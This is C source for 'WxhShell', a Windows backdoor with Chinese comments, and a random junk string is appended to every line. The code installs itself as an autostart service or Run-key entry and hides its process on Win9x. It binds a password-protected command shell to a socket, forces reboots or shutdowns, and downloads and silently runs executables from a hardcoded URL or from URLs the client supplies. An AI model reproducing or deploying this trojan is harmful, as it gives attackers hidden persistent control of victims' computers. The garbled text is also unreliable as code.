    if(Boot(SHUTDOWN)) R 3G@ G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQ{z6Qa  
    else { C BlXC7_Mi  
    closesocket(wsh); ;+%Z@b%  
    ExitThread(0); if@,vc  
    }  /q*KO\L  
    break; oKiD8':  
    } q?i Cc c  
  // 获取shell b~as64  
  case 's': { ;[~^( . f  
    CmdShell(wsh); xBWx+My  
    closesocket(wsh); Tc_do"uU  
    ExitThread(0); 6ZksqdP8  
    break; :#SNpn=@  
  } A^g>fv  
  // 退出 hVZo"XUb  
  case 'x': { JUU&Z[6J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;]@exp 5  
    CloseIt(wsh); )* 3bkKVB  
    break; ,s? dAy5  
    } Ff)@L-Y\K  
  // 离开 P;c0L;/  
  case 'q': { (H-cDsh;c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z1Q2*:)c  
    closesocket(wsh); p1^0{ILx  
    WSACleanup(); lh$CWsx  
    exit(1); @+t (xCv  
    break; i;]CL[#2e`  
        } {Zwf..,  
  } 8KKz5\kn7  
  } ' =}pxyg  
l0#4Fma  
  // 提示信息 97]4 :Zv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Wf0QO,  
} M8_R  
  } G"C;A`6  
;NG1{]|Z  
  return; Gl;f#}  
} xFX&9^Uk  
tQ[]Rc  
// shell模块句柄 X~zRZ0  
int CmdShell(SOCKET sock) 6Pijvx^0  
{ HTN$ >QTI  
STARTUPINFO si; 3W'FcE)|E  
ZeroMemory(&si,sizeof(si)); o}W;Co  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ',#   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J% AG`  
PROCESS_INFORMATION ProcessInfo; idz9YpW  
char cmdline[]="cmd"; QQq/5r4O`q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .5z&CJDiIi  
  return 0; i*z0Jf["  
} 8~qlLa>jc  
^k;mn-0  
// 自身启动模式 1b+h>.gWar  
int StartFromService(void) m2ox8(sd  
{ p2^)2v  
typedef struct j%u8=  
{ E@mkm  
  DWORD ExitStatus; HT-PWk>2  
  DWORD PebBaseAddress; 8? F 2jv  
  DWORD AffinityMask; _eh3qs:  
  DWORD BasePriority; 6Wb!J>93  
  ULONG UniqueProcessId; _[%n ~6  
  ULONG InheritedFromUniqueProcessId; nUqL\(UuY  
}   PROCESS_BASIC_INFORMATION; ]Y=S  
<b'1#Pd>0  
PROCNTQSIP NtQueryInformationProcess; u9,=po=+7f  
6qf-Y!D5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q55M8B 4w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \eT/%$  
3wo'jOb  
  HANDLE             hProcess; nAvs~J  
  PROCESS_BASIC_INFORMATION pbi; Yu;9&b  
.=CH!{j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :^5>wDu{  
  if(NULL == hInst ) return 0; b( 1 :w"wD  
d96fjj~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $-e=tWkgv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~9bv Wd1D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2=O ))^8  
;8uHRcdQ  
  if (!NtQueryInformationProcess) return 0; E;$$+rA  
-FaaFw:Z;A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cXMa\#P  
  if(!hProcess) return 0; ~\3l!zIq  
mfz"M)1p1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `}Eh[EOHJ  
lj Y  
  CloseHandle(hProcess); # 'wL\3  
0a@c/ XGBp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vU7&'ca  
if(hProcess==NULL) return 0; l*qk1H"g  
w~p4S+k&  
HMODULE hMod; sc9]sIb  
char procName[255]; Z|}H^0~7S  
unsigned long cbNeeded; :|Upx4]Ec  
4':MI|/my_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DgVyy&7>  
k}#@8n|b  
  CloseHandle(hProcess); N7a[B>+`  
51z/  
if(strstr(procName,"services")) return 1; // 以服务启动 3#B@83C0Z  
fH; |Rm  
  return 0; // 注册表启动 t={poQC~  
} ~RAzFLt6x  
$Q=$?>4U  
// 主模块 :ET x*c  
int StartWxhshell(LPSTR lpCmdLine) uRFNfX(*  
{ 8cB=}XgYS  
  SOCKET wsl; @::lJDGVv  
BOOL val=TRUE; \6Xn]S  
  int port=0; M`(;>Kp7  
  struct sockaddr_in door; {rz>^  
raSF3b/0  
  if(wscfg.ws_autoins) Install(); @ }ZGY^  
+ 2OZJVJ  
port=atoi(lpCmdLine); {({ R:!c  
!eV^Ah>PZ  
if(port<=0) port=wscfg.ws_port; Zi ma^IL  
4bE42c=Ca7  
  WSADATA data; ]bf'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w8O hJv  
FX cc1X/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O0-> sR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "--/v. Cs  
  door.sin_family = AF_INET; d4Ixuux<3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S3nB:$_-;  
  door.sin_port = htons(port); ]!q }|bP  
/\nJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .x]'eq}  
closesocket(wsl); mSy|&(l  
return 1; AwtIWH*e  
} kja4!_d  
coW)_~U|  
  if(listen(wsl,2) == INVALID_SOCKET) { L(W%~UGN V  
closesocket(wsl); LE<:.?<Z-  
return 1; ^kc>m$HY  
} -?[O"D"c  
  Wxhshell(wsl); Tq.MubaO  
  WSACleanup(); $ V3n~.=  
)gL&   
return 0; xAeZ7.Q&  
bOi};/f  
}  |h  
}5QZ6i#  
// 以NT服务方式启动 BDWim`DK"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pHigxeV2  
{ u<$S>  
DWORD   status = 0; K<D`(voL  
  DWORD   specificError = 0xfffffff; Pv^(Q ]  
<yis  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4 `j,&=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6\%r6_.d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B>ms`|q=l  
  serviceStatus.dwWin32ExitCode     = 0; f34_?F<h  
  serviceStatus.dwServiceSpecificExitCode = 0; 6s> sj7  
  serviceStatus.dwCheckPoint       = 0; ~W2:NQ>i  
  serviceStatus.dwWaitHint       = 0; 9yO{JgKA  
qn5y D!1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @?'t@P:4  
  if (hServiceStatusHandle==0) return; ~JAH-R  
(N)r#"F V  
status = GetLastError(); :y4)qF  
  if (status!=NO_ERROR) <)r,CiS  
{ 0*/mc96  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (xI)"{   
    serviceStatus.dwCheckPoint       = 0; Tnzco  
    serviceStatus.dwWaitHint       = 0; z4 GN8:~x  
    serviceStatus.dwWin32ExitCode     = status; ,R7=]~<io"  
    serviceStatus.dwServiceSpecificExitCode = specificError; SH .9!lQv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gw{Gt]liq  
    return; aS c#&{  
  } A@9U;8k  
6 ,7/8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?j &V:kF  
  serviceStatus.dwCheckPoint       = 0; %i;r]z-  
  serviceStatus.dwWaitHint       = 0; {JCSR2BB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v!WU |=u  
} QC$=Fs5+  
QCZ,K" y  
// 处理NT服务事件,比如:启动、停止 U>e3_td3,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6n2Vx1b  
{ _ C7abw-  
switch(fdwControl) n's2/9x  
{ x@{G(W:W  
case SERVICE_CONTROL_STOP: 'w>uFg1.  
  serviceStatus.dwWin32ExitCode = 0; DLwC5Iir  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o=mq$Z:}  
  serviceStatus.dwCheckPoint   = 0; hNu>s  
  serviceStatus.dwWaitHint     = 0; dSA [3V  
  { .WN;TjEg!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I!C(K^  
  } WLg6-@kxXs  
  return; -o=P85 V  
case SERVICE_CONTROL_PAUSE: eXskwV+7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; clPZd  
  break; YR^Ee8_H  
case SERVICE_CONTROL_CONTINUE: l%-67(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4~]8N@Bii  
  break; MEdIw#P.}{  
case SERVICE_CONTROL_INTERROGATE: \NvC   
  break; ae9k[=-  
}; 23B^g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @p9e:[  
} y]~+`9  
~pX(w!^  
// 标准应用程序主函数 `? 9] '  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "w:\@Jwu(  
{ |k['wqn"  
YoSo0fQA  
// 获取操作系统版本 !Vp,YN+yN  
OsIsNt=GetOsVer(); ^C,/T2>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hJ$C%1;  
dw{#||  
  // 从命令行安装 L.I}-n  
  if(strpbrk(lpCmdLine,"iI")) Install(); bJG!)3cx  
vV:M S O'r  
  // 下载执行文件 i 5 >J  
if(wscfg.ws_downexe) { E7Gi6w~\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ul z\x2[Pf  
  WinExec(wscfg.ws_filenam,SW_HIDE); clR?< LO  
} aOAwezfYR  
5CRc]Q #@  
if(!OsIsNt) { &2<&X( )  
// 如果时win9x,隐藏进程并且设置为注册表启动 !~w6"%2+7  
HideProc(); ?@g;[310`  
StartWxhshell(lpCmdLine); PJSDY1T  
} QYf/tQg$  
else &4[#_(pk  
  if(StartFromService()) V{AH\IV-  
  // 以服务方式启动 r0hta)xa  
  StartServiceCtrlDispatcher(DispatchTable); Je4.9?Ch  
else 5m%baf2_  
  // 普通方式启动 alb+R$s  
  StartWxhshell(lpCmdLine); ]"2 v7)e  
3-_U-:2"  
return 0; :xAe<Pq  
} Z)6nu)  
ZB_16&2Ow  
**w*hd]  
WO+?gu  
=========================================== #<WyId(  
5u u2 _B_L  
3wa<,^kqy  
|Ad6~E+aL-  
gv Rc:5B[  
QU,TAO  
" &)"7am(S`  
nM(=bEX  
#include <stdio.h> cV=_G E  
#include <string.h> '7O{*=`oj  
#include <windows.h> WV !kA_  
#include <winsock2.h> xj00eL  
#include <winsvc.h> die2<'\4%  
#include <urlmon.h>  K+`-[v5\  
!rsqr32]  
#pragma comment (lib, "Ws2_32.lib") QE{;M  
#pragma comment (lib, "urlmon.lib") dPyBY ]`  
 z7.C\l  
#define MAX_USER   100 // 最大客户端连接数 v{rK_jq  
#define BUF_SOCK   200 // sock buffer ~D`oP/6  
#define KEY_BUFF   255 // 输入 buffer S'%cf7Z  
t\|K"  
#define REBOOT     0   // 重启 asmW W8lz  
#define SHUTDOWN   1   // 关机 abJ@>7V  
3qxG?G N  
#define DEF_PORT   5000 // 监听端口 jFPE>F7-M  
}JpslY*aS  
#define REG_LEN     16   // 注册表键长度 Edn$0D68u_  
#define SVC_LEN     80   // NT服务名长度 0P%|)Ae  
bh;b` 5  
// 从dll定义API xn x1`|1u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]\9B?W(#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EB3o8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]RrP !|^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _G}CD|Kx  
5(MZ%-~l  
// wxhshell配置信息 [;V1y`/K1  
struct WSCFG { Er)_[^) HG  
  int ws_port;         // 监听端口 yY@ s(:  
  char ws_passstr[REG_LEN]; // 口令 ,0<F3h  
  int ws_autoins;       // 安装标记, 1=yes 0=no X?}GPA4 W  
  char ws_regname[REG_LEN]; // 注册表键名 $v bAcWj  
  char ws_svcname[REG_LEN]; // 服务名 BqEubP(si  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sh)) [V"8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @<w9fzi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vA7jZw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A2O_pbQti  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "TH-A6v1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O"s`-OM;n  
C+#;L+$Gi  
}; kO`3ENN  
k.%W8C<Pa  
// default Wxhshell configuration 1KIq$lG{ E  
struct WSCFG wscfg={DEF_PORT, o YI=p3l  
    "xuhuanlingzhe", zs]/Y2  
    1, cT=wJ  
    "Wxhshell", #NQz&4W  
    "Wxhshell", 6<Pg>Bg  
            "WxhShell Service", + x ;ML  
    "Wrsky Windows CmdShell Service", 5N3!!FFE  
    "Please Input Your Password: ", HfeflGme*  
  1, ]R0A{+]n  
  "http://www.wrsky.com/wxhshell.exe", luz%FY:  
  "Wxhshell.exe" [|;Zxb:  
    }; ':R3._tw\  
k\thEEVP0*  
// 消息定义模块 8$jT#\_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `@.s!L(V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +@7x45;D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oQjB&0k4  
char *msg_ws_ext="\n\rExit."; &_^*rD~  
char *msg_ws_end="\n\rQuit."; @Jn:!8U0  
char *msg_ws_boot="\n\rReboot..."; w KMk|y>  
char *msg_ws_poff="\n\rShutdown..."; y[5P<:&s  
char *msg_ws_down="\n\rSave to "; Ccd7|L1  
vyx\N{  
char *msg_ws_err="\n\rErr!"; Lv5 ==w}  
char *msg_ws_ok="\n\rOK!"; gjN!_^ _  
g(Xg%&@KZ  
char ExeFile[MAX_PATH]; Py25k 0j!  
int nUser = 0; c'Tu,-  
HANDLE handles[MAX_USER]; $}nUK~$GSv  
int OsIsNt; 'St= izhd  
=&b$W/l)0  
SERVICE_STATUS       serviceStatus; -S3+ h$Y8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a4CNPf<$  
tDLk ZCP  
// 函数声明 Qx,$)|_  
int Install(void); 3(GrDO9^  
int Uninstall(void); yjFQk,A  
int DownloadFile(char *sURL, SOCKET wsh); I7z]%Z  
int Boot(int flag); W*DIW;8p  
void HideProc(void); ZM^;%(  
int GetOsVer(void);  T[[  
int Wxhshell(SOCKET wsl); 8OtUY}R  
void TalkWithClient(void *cs); WT!\X["FI$  
int CmdShell(SOCKET sock); |%cO"d^ri  
int StartFromService(void); O2/w:zOg'  
int StartWxhshell(LPSTR lpCmdLine); aE cg_es  
g*c\'~f;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /uz5V/i0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?N?pe}  
pr,1Wp0l  
// 数据结构和表定义 f]A6Mx6  
SERVICE_TABLE_ENTRY DispatchTable[] = `rdfROKv  
{ WAmoKZw2  
{wscfg.ws_svcname, NTServiceMain}, R6$F<;nw  
{NULL, NULL} "PScM9)\  
}; F*].  
4Hpu EV8Q  
// 自我安装 utl=O  
int Install(void) GGL4<P7  
{ wfTv<WG,.E  
  char svExeFile[MAX_PATH]; ?_j6})2zY  
  HKEY key; ~_j%nJ &2  
  strcpy(svExeFile,ExeFile); 59Q Q_#>  
32|L $o  
// 如果是win9x系统,修改注册表设为自启动 $H@)hY8wA  
if(!OsIsNt) { 2CgIY89O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s]8J+8 <uO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nzJi)A./  
  RegCloseKey(key); `0XbV A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V >uW|6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fX$4TPy(h  
  RegCloseKey(key); P:-/3  
  return 0; 7Z~szD  
    } W (c\$2`  
  } ts\>_/  
} S,9WMti4x  
else { `&[:!U2]F  
YJvT p~  
// 如果是NT以上系统,安装为系统服务 -&D6w9w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f#Cdx"  
if (schSCManager!=0) <\>ak7m  
{ RYJc>  
  SC_HANDLE schService = CreateService p}|wO&4h  
  ( vfTG*jG  
  schSCManager, la|l9N^,  
  wscfg.ws_svcname, ?[/,*Q%  
  wscfg.ws_svcdisp, ];~[Olc  
  SERVICE_ALL_ACCESS, (0m$W<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2LH;d`H[0  
  SERVICE_AUTO_START, d*(Bs $De  
  SERVICE_ERROR_NORMAL, i{[H3p8  
  svExeFile, ',s7h"  
  NULL, P(nHXVSUE  
  NULL, PjZvLK@a9)  
  NULL, J*&=J6  
  NULL, /~huTKA}  
  NULL LF.~rmPa  
  ); HtYR 0J  
  if (schService!=0) 4m!3P"$  
  { j?hyN@ns  
  CloseServiceHandle(schService); pz}hh^]t  
  CloseServiceHandle(schSCManager); tUF]f6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zw 8b -_  
  strcat(svExeFile,wscfg.ws_svcname); (Ha}xwA~(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c!wB'~MS#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ! e,(Zz5  
  RegCloseKey(key); s:F+bG}|  
  return 0; WvzvGT=  
    } 5d{Ggg{s  
  } .+ o>  
  CloseServiceHandle(schSCManager); #|h8u`  
} pdqa)>$  
} aMg f6veM  
IMrOPwjc  
return 1; [y;ZbfMP|o  
} (MiOrzT  
}(}vlL  
// 自我卸载 ?ML<o>OKg  
int Uninstall(void) /M `y LI  
{ ,5uDEXpt{  
  HKEY key; 8vo7~6yy  
|RXC;zt9s  
if(!OsIsNt) { l^?A8jG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Mw =}g@P  
  RegDeleteValue(key,wscfg.ws_regname); #f;1f8yrN  
  RegCloseKey(key); > BCX%<&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {:OVBX  
  RegDeleteValue(key,wscfg.ws_regname); [7w_.(f#  
  RegCloseKey(key); &YP>" <  
  return 0; k\Tm?^L)  
  } `9{C/qB  
} sc>)X{eb  
} u`,R0=<4  
else { A_U0HVx_  
K :ptfD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *]?YvY  
if (schSCManager!=0) }mZ*f y0t  
{ >(KUYX?p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1RHH<c%2n  
  if (schService!=0) t1g%o5?;  
  { @|A&\a-"J  
  if(DeleteService(schService)!=0) { m?G+#k;K  
  CloseServiceHandle(schService); uxiX"0)g>  
  CloseServiceHandle(schSCManager); o;I86dI6C  
  return 0; iGNKf|8{  
  } g]JI}O*5  
  CloseServiceHandle(schService); {\Y,UANZ  
  } B#n}y  
  CloseServiceHandle(schSCManager); I3b-uEHev  
} }kefrT  
} ~2ei+#d!^  
dh`A(B{hfc  
return 1; aJ;R8(*;\  
} Nx z ,/d  
O4mWsr  
// 从指定url下载文件 S^=/}PT'  
int DownloadFile(char *sURL, SOCKET wsh) 30`H Xv@  
{ n:kxG  
  HRESULT hr; ~36XJ  
char seps[]= "/"; uoc-qmm  
char *token; e}w!]  
char *file; u)>*U'bM  
char myURL[MAX_PATH]; 4HmRsOl  
char myFILE[MAX_PATH]; Yr0i9Qow  
I65GUX#DV  
strcpy(myURL,sURL); f\w4F'^tj  
  token=strtok(myURL,seps); -bQvJ`iF  
  while(token!=NULL) H}rP{`m  
  { NO1]JpR  
    file=token; vbJMgdHFR  
  token=strtok(NULL,seps); h0}-1kVT^  
  } KJZY.7  
_fw'c*j  
GetCurrentDirectory(MAX_PATH,myFILE); lR^Qm|  
strcat(myFILE, "\\"); ^@eCT}p{  
strcat(myFILE, file); zxHfQ(  
  send(wsh,myFILE,strlen(myFILE),0); s#49pDN  
send(wsh,"...",3,0); PmTd+Gj$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -W vAmi  
  if(hr==S_OK) |8ZAE%/d  
return 0; =5F49  
else c~;.m<yrf  
return 1; 6Z:|"AwC2  
M!@[lJ  
} >.>5%  
"<b84?V5  
// 系统电源模块 Vdyx74xX  
int Boot(int flag) H-lRgJdc  
{ \/zS@fz  
  HANDLE hToken; yY|U}]u!V  
  TOKEN_PRIVILEGES tkp; LnIJ wD  
X / "H+l  
  if(OsIsNt) { W0hLh<Go  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cH ?]uu(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )~kb 7rfl  
    tkp.PrivilegeCount = 1; tJ3s#q6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2Z |kf9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'KG`{K$  
if(flag==REBOOT) { EQ-~e   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,oe4*b}O=.  
  return 0; L}nc'smvM  
} 9rz"@LM  
else { r&;AG@N/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hw2Hn   
  return 0; r?*?iw2g  
} d~%Rnic6*  
  } bN)?szh&Y  
  else { TA5M4r6  
if(flag==REBOOT) { lN" rhZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I}x*AM 7+  
  return 0; B$j,:^  
} =r8(9:F!  
else { q ~lW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <u\G&cd_tA  
  return 0; .=S{  
} )vzT\dQ|  
} @"0qS:s]X  
aleIy}"  
return 1; 2{\Y<%.  
} CJ b ~~  
cj)~7 WF  
// win9x进程隐藏模块 eS|p3jk;  
void HideProc(void) -)GfSk   
{ c$;enAf@  
"G:>}cs%?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AS;{{^mM(  
  if ( hKernel != NULL ) ~XRr }z_Lq  
  { suwj1qYJ4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7[\B{N9&W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `{":*V   
    FreeLibrary(hKernel); ufOaD7  
  } <j' #mUzd  
`P~RG.HO  
return; (;3jmdJhK  
} 1GxYuTZ{  
49 D*U5o  
// 获取操作系统版本 umeb&\:8S-  
int GetOsVer(void) Oh: -Y]m=  
{ _{aVm&^kA  
  OSVERSIONINFO winfo; M 5h U.3.L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >v{m^|QqB  
  GetVersionEx(&winfo); Qt$Q/<8U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;I0/zeM%  
  return 1; 60Z)AQs;+J  
  else CpXv?uU   
  return 0; $) $sApB  
} #S5vX<"9  
RVe3@|9(G  
// 客户端句柄模块  xMU)  
int Wxhshell(SOCKET wsl) ~i4@sz&  
{ \l~h#1|%;s  
  SOCKET wsh; 6pse @x?  
  struct sockaddr_in client; zc"eSy< w$  
  DWORD myID; LY MfoXp  
8VnZ@*  
  while(nUser<MAX_USER) UJI1n?~  
{ RK0IkRXQd  
  int nSize=sizeof(client); 6lPGop]js]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q=[&~^ Y)  
  if(wsh==INVALID_SOCKET) return 1; FP$]D~DMo  
]!QeJ'BLM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  O-k(5Zb  
if(handles[nUser]==0) Q1rwTg\  
  closesocket(wsh); .B@;ch,  
else 0M"E6z)9  
  nUser++; IlVi1`]w  
  } 6S(3tvUr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UcZ3v]$I  
'D bHXS7N  
  return 0; V}*b^<2o 5  
} K;K tx>Z/  
Hd:ZE::Q'#  
// 关闭 socket "6ZatRUd  
void CloseIt(SOCKET wsh) .d2s4q\  
{ cg4,PI% hz  
closesocket(wsh); A-<qr6q  
nUser--; R~b$7jpd  
ExitThread(0); :V [vE h  
} X qh+  
_LK(j;6K}  
// 客户端请求句柄 C5m*pGImG  
void TalkWithClient(void *cs) G100L}d"N  
{ ;Wr$hDt^  
5ZPl`[He  
  SOCKET wsh=(SOCKET)cs; )wC>Hq[mhW  
  char pwd[SVC_LEN]; 3,GSBiK3}  
  char cmd[KEY_BUFF]; ,^3D"Tky  
char chr[1]; s=q}XIWK  
int i,j; k3Y>QN|q8  
-Fb/GZt|  
  while (nUser < MAX_USER) { y ^YrGz.  
S7V;sR"V2  
if(wscfg.ws_passstr) { tY7u\Y;^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 49CMRO,T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sx9 N8T3n  
  //ZeroMemory(pwd,KEY_BUFF); jN[Z mJz'  
      i=0; nQ mkDPjU  
  while(i<SVC_LEN) { *I~F7Z]|  
e= '3gzz  
  // 设置超时 a*=e 3nS  
  fd_set FdRead; ,}NG@JID  
  struct timeval TimeOut; /];F4AO5  
  FD_ZERO(&FdRead); )2a!EEHz  
  FD_SET(wsh,&FdRead); 7BC9cS(0w9  
  TimeOut.tv_sec=8; i"-j:b:c<  
  TimeOut.tv_usec=0; -Iq#h)Q*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); twJck~l~n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ys\l[$_`*  
} nQHP4'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %K zURv  
  pwd=chr[0]; 5K8\hoW{  
  if(chr[0]==0xd || chr[0]==0xa) { Si;e_a  
  pwd=0; zdY`c  
  break; +q3W t|  
  } ).-FuL4Y  
  i++; fx*Swv%r  
    } Z*JZ Ubo-Q  
C?z C|0  
  // 如果是非法用户,关闭 socket (bXCc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i22R3&C  
} Q (`IiV   
Na#2sb[)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HG Pbx$!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f1JvP\I0Q  
/({5x[  
while(1) { VRD2e ,K  
Blu^\:?#z-  
  ZeroMemory(cmd,KEY_BUFF); JAgec`T%  
|u03~L9G  
      // 自动支持客户端 telnet标准   FC(m)S2  
  j=0; RVD=CX  
  while(j<KEY_BUFF) { rt"\\sOlMB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,O2Uj3"  
  cmd[j]=chr[0]; K\ZKVn  
  if(chr[0]==0xa || chr[0]==0xd) { .[~E}O  
  cmd[j]=0; ^b&aDm~(7  
  break; 7%aB>uA  
  } :qI myaGQ  
  j++; 9!o:)99U  
    } iK)w3S}k1y  
)]v vp{  
  // 下载文件 i^ 1P6B  
  if(strstr(cmd,"http://")) { X2s=~)`#c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KBXdr52"  
  if(DownloadFile(cmd,wsh)) !Qn:PSk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xc'yz 2B  
  else SMnbI .0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O9!<L.X,%  
  } x *(pr5k  
  else { +W-sb5)  
Q7i^VN  
